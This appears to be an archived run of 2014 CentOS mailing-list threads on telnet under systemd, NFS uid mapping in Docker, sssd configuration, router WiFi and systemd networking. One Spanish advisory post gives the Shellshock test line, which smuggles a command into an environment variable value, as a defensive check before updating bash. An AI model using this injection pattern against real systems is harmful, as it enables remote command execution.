 telnet: connect to address ::1: Connection refused
 Trying 127.0.0.1...
 telnet: connect to address 127.0.0.1: Connection refused

   I will not go over the question about running telnet in your
 laptop; others will chime in. Now that is out, did you check whether
 telnet is running using ps and netstat?

  Also, how did you turn telnet on? Leave xinetd alone.

What does

systemctl status telnet.socket

tell you?

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] TELNENT TO LOCALHOST IN CENTOS 7

2014-11-24 Thread Mauricio Tavares
  The original poster has not replied, so we do not know his reasoning.


On Mon, Nov 24, 2014 at 1:17 PM, Les Mikesell lesmikes...@gmail.com wrote:
 On Mon, Nov 24, 2014 at 12:12 PM, John R. Dennison j...@gerdesas.com wrote:
 On Mon, Nov 24, 2014 at 12:04:30PM -0600, Les Mikesell wrote:

 Umm, yeah.   Encrypted protocols would never be compromised

 Which do you think is more likely?  Someone sniffing a cleartext
 credential set on the wire or someone subverting an alleged secure
 encrypted protocol?

 For things that matter, you should expect both.  For things that don't
 matter, well they don't matter.

  Exactly. For instance, what if he needs to use some product
whose vendor has never heard of ssh (or company died)? What if he is
building a test lab for learning how to use wireshark? Until he comes
back and lets us know, we are just farting in the wind.

Personally I expect him to know what he is doing

 --
Les Mikesell
   lesmikes...@gmail.com
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] TELNENT TO LOCALHOST IN CENTOS 7

2014-11-24 Thread Mauricio Tavares
On Mon, Nov 24, 2014 at 3:59 PM, John R Pierce pie...@hogranch.com wrote:
 On 11/24/2014 6:38 AM, Mauricio Tavares wrote:

I will not go over the question about running telnet in your
 laptop; others will chime in. Now that is out, did you check whether
 telnet is running using ps and netstat?


 useless advise, since telnet is almost always run from a socket, the telnetd
 is only running if there's an active connection.

 to the OP, the *correct* answer is, do not use or touch xinetd, and if you
 modified anything in xinetd, undo it.   heck, uniinstall xinetd, nothing in
 RHEL7/CentOS7 uses xinetd anymore.

root# systemctl enable telnet.socket
root# systemctl start telnet.socket

  I take you missed the part in my reply asking him to do

systemctl status telnet.socket

 the first command enables it so its available when the system is rebooted.

 the 2nd command starts it now.


 now, I will have to concur, the telnet protocol should be banned, and
 anything using it should be updated to use ssh instead.   I haven't enabled
 telnetd on any unix/linux host for the last 10+ years.




 --
 john r pierce  37N 122W
 somewhere on the middle of the left coast

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] What's up with Firefox/Thundrebird

2014-11-24 Thread Mauricio Tavares
On Mon, Nov 24, 2014 at 9:03 PM, Mark LaPierre marklap...@gmail.com wrote:
 Hey All,

 Has anyone had trouble with Firefox/Thunderbird?

 When I log on if I start Thunderbird first then I can't start Firefox.
 Clicking on a link in an email fails to start Firefox.

 If I start Firefox before Thunderbird then hyperlinks in emails open a
 page in the existing Firefox instance.

 Other users on this same machine are having the same problems.

 This has been happening for that last several days.

 CentOS release 6.6 (Final)

 Linux mushroom.patch 2.6.32-504.1.3.el6.i686 #1 SMP Tue Nov 11 16:30:09
 UTC 2014 i686 i686 i386 GNU/Linux

 Thunderbird 31.2.0
 Firefox 31.2.0

  I wonder if /var/log/messages has anything useful about this.
 --
 _
°v°
   /(_)\
^ ^  Mark LaPierre
 Registered Linux user No #267004
 https://linuxcounter.net/
 
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Making a bootable Win7 DVD from an ISO

2014-11-05 Thread Mauricio Tavares
On Wed, Nov 5, 2014 at 10:30 AM, Mogens Kjaer m...@lemo.dk wrote:
 On 11/05/2014 04:08 PM, James B. Byrne wrote:

 I would like to create a bootable DVD containing Win7 from an official
 Microsoft ISO that I have on a CentOS-6.5 box.  Is this even possible?  If
 so
 then how is it done using CentOS?


 The same way as you create a bootable CentOS DVD from an official CentOS
 ISO.

  Doing a bit of highjacking, how to create the ISO from the
original DVD? Would dd do the trick? I need to make a bootable usb
with Win7.

 I use growisofs for this.

 Mogens

 --
 Mogens Kjaer, m...@lemo.dk
 http://www.lemo.dk

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


[CentOS] centos 7, docker, NFS and uid = -2

2014-10-08 Thread Mauricio Tavares
  I created a centos 7 docker container in which I want to mount a
NFS share in. Said share is owned by user virtual with uid 1200. So I
do some exporting (docker container is in 172.17.0.0/16):

spindizzy cat /etc/exports
/export 10.0.0.0/24(ro,fsid=0,no_subtree_check,sync)
172.17.0.0/16(ro,fsid=0,no_subtree_check,sync)
[...]
/export/mail 172.17.0.0/16(rw,root_squash,no_subtree_check,sync)
spindizzy

and then some mounting:

bash-4.2# id virtual
uid=1200(virtual) gid=1200(virtual) groups=1200(virtual)
bash-4.2#  nfsstat -m
bash-4.2# mount.nfs4 -v -o proto=tcp fileserver.in.kushana.com:mail
/var/spool/vmail
mount.nfs4: timeout set for Wed Oct  8 03:11:43 2014
mount.nfs4: trying text-based options
'proto=tcp,addr=10.0.0.18,clientaddr=172.17.0.29'
bash-4.2# nfsstat -m
/var/spool/vmail from fileserver.in.kushana.com://mail
 Flags: 
rw,relatime,vers=4.0,rsize=131072,wsize=131072,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=172.17.0.29,local_lock=none,addr=10.0.0.18

bash-4.2# ls -l /var/spool/
total 12
drwxr-xr-x 2 root   root   4096 Jun 10 01:11 lpd
drwxrwxr-x 2 root   mail   4096 Oct  8 02:15 mail
drwxr-xr-x 2 4294967294 4294967294 4096 Oct  3 17:34 vmail
bash-4.2#

And am getting the famous share being mounted as nobody issue. In the
client (docker container), I went in /etc/idmapd.conf and set the
Domain to be the domain where the NFS server is at (in.kushana.com).
Now, how do I restart idmapd? It is a systemd service
(/usr/lib/systemd/system/rpcidmapd.service, which uses
/etc/sysconfig/nfs).
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] Inyección de código a través de bash

2014-09-25 Thread Mauricio Pastorini
Muchas Gracias Ernesto, efectivamente tenía presente el problema de
seguridad, paquete actualizado.

saludos

El 25 de septiembre de 2014, 1:02, Ernesto Pérez Estévez 
ernesto.pe...@cedia.org.ec escribió:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA256

 hola
 El día de hoy fue hecho público un anuncio de que el popular shell
 bash contiene una falla de seguridad que permite a atacantes remotos
 ejecutar código arbitrario en un sistema.

 bash no solamente se utiliza de forma local, sino por poner dos
 ejemplos: a través de ssh y para ejecutar aplicaciones web a través de
 cgi.

 Se puede verificar si su paquete bash presenta esta vulnerabilidad con
 la ejecución de la siguiente prueba:

 env x='() { :;}; echo vulnerable' bash -c echo this is a test

 si al ejecutar el anterior código se imprimen las líneas
 vulnerable
 this is a test
 El sistema es vulnerable y debe ser actualizado.

 Si se imprime un mensaje de error parecido a este:
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 this is a test

 El sistema NO debe ser vulnerable.

 Es imperioso se actualicen todos los sistemas operativos Linux y Mac
 que son los que más uso hacen de bash.

 al momento ubuntu, debian, RHEL y CentOS han publicado actualizaciones
 de sus paquetes de bash. En el caso de CentOS o RHEL debe ejecutarse:

 yum update bash (o podría usarse yum update para actualizar todos los
 paquetes que requieran ser actualizados).

 En el caso de ubuntu y debian podría utilizarse:
 apt-get update; apt-get upgrade

 Más información en

 https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

 saludos
 Ernesto Pérez
 CSIRT-CEDIA
 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1

 iQIcBAEBCAAGBQJUI5PfAAoJEI8SQ0eoZD/XZusP/304wDY3sZTPsaBueivokUkz
 VrltUTWM8aMzX91Uh5RKjzzBQEucPb2sJELNVfilRUknM3vpTtxCUSvejVn4k8k7
 KO6B0LNd0hxhVSOpS4gb5j5gUkjPDDQFB5DVSG1940pFvDkSQPUIWvUFOyjPW9gm
 sSnYN5cypfKZ2bsMsRJDC4syUplO6P2dhwntHH8K50p2sDMrFjqYCFtTVS7CsHGO
 OFSw1TduMXxcqDkXW83i+BRa6FMhy3VqyZUJxZs6yfHb84ViL33EqtohMsBTE4Tk
 bj63B1ykDduF5nJ5giKYe4+J03I+BQI0YEqvPPyK1cvbsxNt9p849RnqefpX0UHP
 6PqIj8DWr8YBj3cZpzH4E2wWTOjMjILBhTGg3spZwqh6XuUH5FNojRJ5VMH8p1xI
 5E0mJoRr0CR/OuiCcxbHq4hMWZhwHjsPQ3+NnYsQfIj4IIU6C8sNIQa/gxZ8x4Tx
 YuaTy9CKzAsuy82PXT0ec02TKYZ8/zk25//9CY+7RrdBMjlGvDiv0qExGf6x6buF
 KtcPrAVge9bk0lNBjBnom8kOgqlU/9SF7RH8QoiEK9PqDUfh9lq7gPWGEwx5yxZW
 JxSluLODHu0QkkfbXawgZ+2t+vlkaYHfWgX191dN7kW6pVMl7Pr6Is91r/Rfjesq
 z28D4VrjYykcmDdeZUSz
 =0kuj
 -END PGP SIGNATURE-
 ___
 CentOS-es mailing list
 CentOS-es@centos.org
 http://lists.centos.org/mailman/listinfo/centos-es

___
CentOS-es mailing list
CentOS-es@centos.org
http://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] ink

2014-09-12 Thread Mauricio Tavares
On Fri, Sep 12, 2014 at 10:20 AM, Valeri Galtsev
galt...@kicp.uchicago.edu wrote:

 On Fri, September 12, 2014 12:00 am, Chris wrote:
 On 09/09/2014 01:06 AM, ken wrote:
 I've also read horror stories about the how often new ink cartridges are
 required, that basically you pay for the printer a second and third time
 buying cartridges (not to mention how often a print job is interrupted
 by a trip to buy new cartridges).  Any first-hand reports on that?

 I'm using a Canon Pixma. I think Canon's advantage over HP is that you
 can change ink and print head separately. So I'm using no-name ink that
 clogs the print head once a year, but that's still cheaper than buying
 the genuine ink.


 I don't know details about Canon inkjets, but this sounds similar for the
 case of Epson. Epson inkjets have nice (technology wise) piezo-electric
 nozzles, so you don't replace them (printing head). HP inkjet printers
 have filament that boils ink to spit a droplet. With HP you replace ink
 cartridge and heads (which - the heads - are trivial thing). With Epson,
 you don't replace sophisticated head. However, you need to print a few
 pages a Month ad minimum if you have Epson. Otherwise quite likely you
 will have head clogged, and the head will be permanently dead. You have to
 replace the head which is about the same $$ wise as to replace the whole
 printer. If it is HP, when you notice some color doesn't print, you just
 replace that ink cartridge, and is solves it no matter whether the
 cartridge was empty or the head was clogged.

 I do not own or use much ink jet printers, but knowing that there are HP
 wide format inkjet professional printers, I would speculate that HP
 technology isn't in to any extent inferior compared to Epson, no matter
 what I feel knowing the difference in physical principles used.

 Just my 2c.

 Valeri

  If it makes you feel any better, I found out a new cartridge for
my home laser printer is $45 while the new version of my printer is
$10 more. Does make you think.


 
 Valeri Galtsev
 Sr System Administrator
 Department of Astronomy and Astrophysics
 Kavli Institute for Cosmological Physics
 University of Chicago
 Phone: 773-702-4247
 
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] funciona?

2014-08-25 Thread Mauricio Tapia
Si
El 25-08-2014 21:39, Ricardo González clustersh...@gmail.com escribió:

 Hola,

 Este mensaje es para saber si funciona la lista, por favor, si alguien lo
 lee, que responda un si.

 Gracias.

 Saludos.
 ___
 CentOS-es mailing list
 CentOS-es@centos.org
 http://lists.centos.org/mailman/listinfo/centos-es

___
CentOS-es mailing list
CentOS-es@centos.org
http://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] OT: Linksys router misbehaviour

2014-08-25 Thread Mauricio Tavares
On Mon, Aug 25, 2014 at 9:50 AM, Timothy Murphy gayle...@alice.it wrote:
 I'm running a Linksys WRT54GL router from my CentOS-7 home server.
 Every now and then (maybe once every 2 days) the router's WiFi cuts out,
 and I've found no way to solve this except to disconnect the power
 from the router, wait 10 seconds and then re-connect.
 This always works.
 The router is running under dd-wrt.

 My question is - which makes it a tiny bit CentOS-related -
 does anyone with such a router know of a way
 to wake the router up in such a case through the computer?

  I think it depends on how it cuts out. I had an old ASUS router
running openwrt which had some issues with its wireless. My workaround
was to run a cronjob in router that would do

wifi up

every hour or so.

 I wouldn't have dared to ask this question here or anywhere
 until recently, as I assumed my ancient Linksys routers were obsolete.
 But I've been reading posts recently saying that
 there hasn't really been a Linux router to replace the WRT54GL,
 and in particular Linksys's recent 11n replacement
 is not as good as the old model in many ways.

 Anyway, if anyone has an answer to my query I should be very grateful.

 I have a couple of IP cameras working by WiFi on the computer,
 which I can look at remotely.
 I've connected one by TP-Link through the router,
 and this doesn't cut out, but it is not wholly satisfactory.
 But this shows that the router is alive and well,
 only its WiFi side is failing.


 --
 Timothy Murphy
 e-mail: gayleard /at/ eircom.net
 School of Mathematics, Trinity College, Dublin 2, Ireland


 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] Seevidor apache con dos ip publicas

2014-08-15 Thread Mauricio Tapia
No es necesario tener tantas ip como dominios tengas,  apache con 1ip puede
manejar n host.

Solo busca virtualhost en apache
El 13-08-2014 14:18, Jonathan Moreno jona00...@gmail.com escribió:

 Buen dia
 Hola espero puedan apoyarme tengo un server apache en un server centos q
 tiene 2 ip publicas como puedo decir q cuando escriba la la ip1 me dirija
 al sitio web1 y la ip2 al sitio2 actualmente ip1 y ip2 me mandan a web1

 Me apoyan?
 Saludos
 ___
 CentOS-es mailing list
 CentOS-es@centos.org
 http://lists.centos.org/mailman/listinfo/centos-es

___
CentOS-es mailing list
CentOS-es@centos.org
http://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS-es] INICIO DE SESEION USUARIOS NOLOGIN CENTOS 7

2014-08-14 Thread Mauricio Tapia
Postizas es puerto 25, dovecot 110 configura pop
El 14-08-2014 20:10, Ignacio Ordeñana ifor1...@gmail.com escribió:

 hola

 logre solucionar con el UID para que los usuarios nologin se muestren en el
 incio de sesion pero ya con la configuracion del correo con postfix al
 realizar las pruebas al puerto 110 no me admite el password y me muestra el
 mensaje  ERR SYS/TEMP ha ocurred error server more information in log

 sin mas a que referir

 saludos
 ___
 CentOS-es mailing list
 CentOS-es@centos.org
 http://lists.centos.org/mailman/listinfo/centos-es

___
CentOS-es mailing list
CentOS-es@centos.org
http://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] sssd and authconfig and ldap database lookups

2014-08-07 Thread Mauricio Tavares
On Wed, Aug 6, 2014 at 6:03 PM, Mauricio Tavares raubvo...@gmail.com wrote:
 On Wed, Aug 6, 2014 at 5:42 PM, Stephen Harris li...@spuddy.org wrote:
 On Wed, Aug 06, 2014 at 05:05:36PM -0400, Mauricio Tavares wrote:
 [root@testcentos ~]# yum install sssd
 [...]
 Package sssd-1.9.2-129.el6_5.4.x86_64 already installed and latest version
 Nothing to do

 It didn't re-install any files because the package is already installed.

   Which is to be expected; I only ran that to show which version I
 have installed and that it supposedly has been installed. But the
 sssd.conf file is elusive as ever...

  This is getting more interesting: I downloaded the rpm itself
and sure enough it claims to have sssd.conf:

[root@testcentos sssd]# rpm -qlp sssd-1.9.2-129.el6_5.4.x86_64.rpm
|grep sssd.conf
/etc/sssd/sssd.conf
/usr/share/man/ja/man5/sssd.conf.5.gz
/usr/share/man/man5/sssd.conf.5.gz
[root@testcentos sssd]# /usr/share/man/uk/man5/sssd.conf.5.gz

But it does not feel particularly eager to give it to me:

[root@testcentos sssd]# rpm2cpio sssd-1.9.2-129.el6_5.4.x86_64.rpm |
cpio -ivd etc/sssd/sssd.conf
25006 blocks
[root@testcentos sssd]# ls
sssd-1.9.2-129.el6_5.4.x86_64.rpm
[root@testcentos sssd]#

 --

 rgds
 Stephen
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


[CentOS] sssd and authconfig and ldap database lookups

2014-08-06 Thread Mauricio Tavares
So I am feeling rather frustrated with sssd today:

1. I see that when you install sssd (this is centos 6), sssd.conf is
not created. 
https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Deployment_Guide/about-sssd.conf.html
implies that if I want to use sssd I need to create the sssd.conf file
first. Any reason why?

2. I also noticed if sssd.conf is not there, authconfig won't create
it even if you tell it to --enablesssd. How so? I thought that if you
are using sssd, it would have stuff like kerberos and ldap (to pick a
couple of examples) configured there.

3. It seems if I want to, say, define ldap_user_search_base I must do
it directly in sssd.conf instead of passing some kind of argument to
authconfig. Am I correct? If so, which files does authconfig affect? I
thought it was the *proper* way to  configure all the authentication
thingies so to make sure they all played together. But, it seems that
you have to configure sssd.conf and then use authconfig... or not.

Brain hurts
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] sssd and authconfig and ldap database lookups

2014-08-06 Thread Mauricio Tavares
On Wed, Aug 6, 2014 at 4:48 PM, Steve Thompson s...@vgersoft.com wrote:
 On Wed, 6 Aug 2014, Mauricio Tavares wrote:

 1. I see that when you install sssd (this is centos 6), sssd.conf is
 not created.

 It certainly should install it; /etc/sssd/sssd.conf. It's in the RPM.

  Then it is pulling my leg:

[root@testcentos ~]# yum install sssd
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirror.steadfast.net
 * extras: mirror.steadfast.net
 * updates: ftp.usf.edu
Setting up Install Process
Package sssd-1.9.2-129.el6_5.4.x86_64 already installed and latest version
Nothing to do
[root@testcentos ~]# ls -l /etc/sssd/
total 0
[root@testcentos ~]#

and yet it swears the file is in the package:

[root@testcentos ~]# yum whatprovides /etc/sssd/sssd.conf
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: reflector.westga.edu
 * extras: mirror.cogentco.com
 * updates: centos.mia.host-engine.com
sssd-1.9.2-129.el6_5.4.x86_64 : System Security Services Daemon
Repo: updates
Matched from:
Filename: /etc/sssd/sssd.conf



sssd-1.9.2-129.el6.x86_64 : System Security Services Daemon
Repo: base
Matched from:
Filename: /etc/sssd/sssd.conf



sssd-1.9.2-129.el6_5.4.x86_64 : System Security Services Daemon
Repo: installed
Matched from:
Other   : Provides-match: /etc/sssd/sssd.conf



[root@testcentos ~]#

 Steve
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] sssd and authconfig and ldap database lookups

2014-08-06 Thread Mauricio Tavares
On Wed, Aug 6, 2014 at 5:42 PM, Stephen Harris li...@spuddy.org wrote:
 On Wed, Aug 06, 2014 at 05:05:36PM -0400, Mauricio Tavares wrote:
 [root@testcentos ~]# yum install sssd
 [...]
 Package sssd-1.9.2-129.el6_5.4.x86_64 already installed and latest version
 Nothing to do

 It didn't re-install any files because the package is already installed.

  Which is to be expected; I only ran that to show which version I
have installed and that it supposedly has been installed. But the
sssd.conf file is elusive as ever...

 --

 rgds
 Stephen
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentOS 7, networkmangler, and hostname

2014-07-23 Thread Mauricio Tavares
.

On Wed, Jul 23, 2014 at 2:01 PM,  m.r...@5-cent.us wrote:
 I've a 7 box (actually, it's RHEL, but the general list there is
 moribund), and I'm trying to configure it correctly so that it gets its
 hostname from the DHCP server. All I've found so far is a script to use
 from hooks of some kind. *Surely* there's just a configuration file option
 somewhere

  Best I found using network manager is writing a script,
dhclient-exit-hooks.d/hostname
(http://askubuntu.com/questions/104918/how-to-get-hostname-from-dhcp-server).
There is also a way to do that using systemd-networkd; I am not very
proud to say I know how to do so though.


   mark

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentOS 7, networkmangler, and hostname

2014-07-23 Thread Mauricio Tavares
 )

On Wed, Jul 23, 2014 at 2:55 PM,  m.r...@5-cent.us wrote:
 Mauricio Tavares wrote:
 On Wed, Jul 23, 2014 at 2:01 PM,  m.r...@5-cent.us wrote:
 I've a 7 box (actually, it's RHEL, but the general list there is
 moribund), and I'm trying to configure it correctly so that it gets
 its hostname from the DHCP server. All I've found so far is a script
 to use from hooks of some kind. *Surely* there's just a configuration
 file option somewhere

   Best I found using network manager is writing a script,
 dhclient-exit-hooks.d/hostname
 (http://askubuntu.com/questions/104918/how-to-get-hostname-from-dhcp-server).
 There is also a way to do that using systemd-networkd; I am not very
 proud to say I know how to do so though.

 I've been digging, and found something a) confusing and b) disturbing. But
 first, *does* NM use any of the /etc/sysconfig/network-scripts *other*
 than the ifcfg-interface? Specifically, does it use ifup, ifdown, and
 esp. ifup-post?

 Here's the reason: in ifup-post is the following code:
 # don't set hostname on ppp/slip connections
 if [ $2 = boot -a \
  ${DEVICE} != lo -a \
  ${DEVICETYPE} != ppp -a \
  ${DEVICETYPE} != slip ]; then
 if need_hostname; then
 IPADDR=$(LANG=C ip -o -4 addr ls dev ${DEVICE} | awk '{ print $4 ;
 exit }')
 eval $(/bin/ipcalc --silent --hostname ${IPADDR} ; echo status=$?)
 if [ $status = 0 ]; then
 set_hostname $HOSTNAME
 fi
 fi
 fi

 Now, that function, need_hostname, is in network-functions, and reads:
 need_hostname ()
 {
 CHECK_HOSTNAME=$(hostname)
 if [ $CHECK_HOSTNAME = (none) -o $CHECK_HOSTNAME = localhost -o \
 $CHECK_HOSTNAME = localhost.localdomain ]; then
 return 0
 else
 return 1
 fi
 }

 So it *should* be setting it... if it's called.

  My experience with NM is from ubuntu, over there if you
configure an interface in the /etc/network/interfaces file (their
equivalent of /etc/sysconfig/network-scripts , it *should* not try to
fondle that interface any longer. That said, the network-scripts do
have a

NM_CONTROLLED=no

option, so NM must at least check for that. I have a feeling if you
set that to yes, it will ignore the rest of the file and do its own
thing.

There is also a /etc/NetworkManager/ directory which seems to imply
that NM does a lot of things on its own and ignore the old network
config files. https://bugzilla.gnome.org/show_bug.cgi?id=667874 and
the picture in 
http://serverfault.com/questions/429014/what-is-the-relation-between-networkmanager-and-network-service-in-fedora-rhel-c
seem  to confirm that.


 mark


 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


[CentOS] More systemd-ness: unit file

2014-07-16 Thread Mauricio Tavares
  Ok, I did read
www.freedesktop.org/software/systemd/man/systemd.unit.html and am
still confused. What is it? If it helps, let' suse a real application:
I create in /etc/systemd/system/ the home-ducker.{,auto}mount files.
Where does this unit file go with respect to them? Is it one of them?
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Cemtos 7 : Systemd alternatives ?

2014-07-14 Thread Mauricio Tavares
On Mon, Jul 14, 2014 at 11:34 AM, Steve Clark scl...@netwolves.com wrote:
 On 07/14/2014 11:26 AM, William Woods wrote:
 On Jul 14, 2014, at 10:19 AM, m.r...@5-cent.us wrote:

 William Woods wrote:

 Please stop top posting.
 On Jul 14, 2014, at 9:48 AM, m.r...@5-cent.us wrote:
 William Woods wrote:
 On Jul 14, 2014, at 7:15 AM, Always Learning cen...@u62.u22.net
 wrote:
 On Mon, 2014-07-14 at 06:42 -0400, Steve Clark wrote:

 Having been working with UNIX like systems since 1985
 my biggest complaint with systemd is it so intrusive, it wants to be
 everything which makes
 it vulnerable to bugs and exploits - umm.. like Windoze!
 My $.02
 + $ 10.00 :-)
 Because UNIX has never had a bug or exploit right ?

 Well... we know that  50% of the Web and 'Net runs on Linux and other
 unices. Compare and contrast the number of Windows Server
 vulnerabilities
 that have been exploited to those of *Nix... and, for extra credit, how
 fast they were admitted, and fixed.

 Like OpenSSL ?
 I suggest you google with the following search criteria: windows server
 exploits

   mark
 Sigh, nothing like a zealot. ALL OS's have vulns and exploits, no matter 
 what you decide to believe.

 Sigh, nothing like someone who is in a constant state of deniability.


  Ok, I posted last week a question in this list about configuring
two interfaces, one of which being a bridge, to get dhcp and make the
bridge one be the primary one as far as which dns and router to pick.

Using systemd only was my requirement. i.e. using /etc/systemd/system/
instead of /etc/sysconfig/network{,-scripts}.

The replies I got were oh, you can still use
/etc/sysconfig/network{,-scripts} with systemd *for now*, so you can
kludge it together. What's the point then? systemd is supposed to
handle something as simple as two little interfaces; I am not even
talking about vlans and virtual interfaces. I know how to do it using
/etc/sysconfig/network{,-scripts}, but that is besides the point. If
systemd is the Way of the Future, I should be able to do this simple
configuration in it in CentOS 7. After all, with CentOS 7, systemd is
the de facto way to do things, right?

I do sound annoyed because I am: I keep hearing about how systemd is
going to liberate us from the Old White Man way of doing things, and
I am willing to be the devil's advocate here for I plan on using Linux
in the foreseeable future. But, if it cannot deliver me two little
interfaces up and running -- not asking for cookies and a massage but
would not turn them down if I get my interfaces up and happy -- I do
have an issue.

So, for those who know the Way of The systemd, please show me here or
in my thread (so we keep this one on-topic) how to do that in a
completely systemd-networkd way (and why what I wrote is boink). Is
that too much to ask?



 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos



 --
 Stephen Clark
 *NetWolves Managed Services, LLC.*
 Director of Technology
 Phone: 813-579-3200
 Fax: 813-882-0209
 Email: steve.cl...@netwolves.com
 http://www.netwolves.com
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Cemtos 7 : Systemd alternatives ?

2014-07-14 Thread Mauricio Tavares
On Mon, Jul 14, 2014 at 2:58 PM, Always Learning cen...@u62.u22.net wrote:

 On Mon, 2014-07-14 at 11:19 -0500, Andrew Wyatt wrote:

  Windows is no more or less secure than anything else out there.

 Not with so many of Windoze world-wide users getting viruses all the
 time. Centos is inherently more secure than Windoze.

  I would argue that also has to do with the average windows. You
know, the human engineering part of being attacked (Your computer is
infected! The red blinking light says so! Click here to install our
'sheep-me' program, making sure to run it as an admin user!)


 --
 Regards,

 Paul.
 England, EU.

Centos, Exim, Apache, Libre Office.
Linux is the future. Micro$oft is the past.

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


[CentOS] How to have two interfaces with dhcp using networkd but taking the dns/ntp stuff from only one

2014-07-11 Thread Mauricio Tavares
Ok, we can take both but needs to be in a specific order. So, we have
two ethernet interfaces, A and B. And both are defined in
/etc/systemd/network/ to use dhcp. How to guarantee that the crap
provided by dhcp to A (dns, gateway, ntp) is the default? To use an
example, /etc/resolv.conf should end up like

nameserver IP.for.A.DNS
nameserver IP.for.B.DNS
domain A.domain.com

Now, this must be done using only systemd stuff
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


  1   2   3   >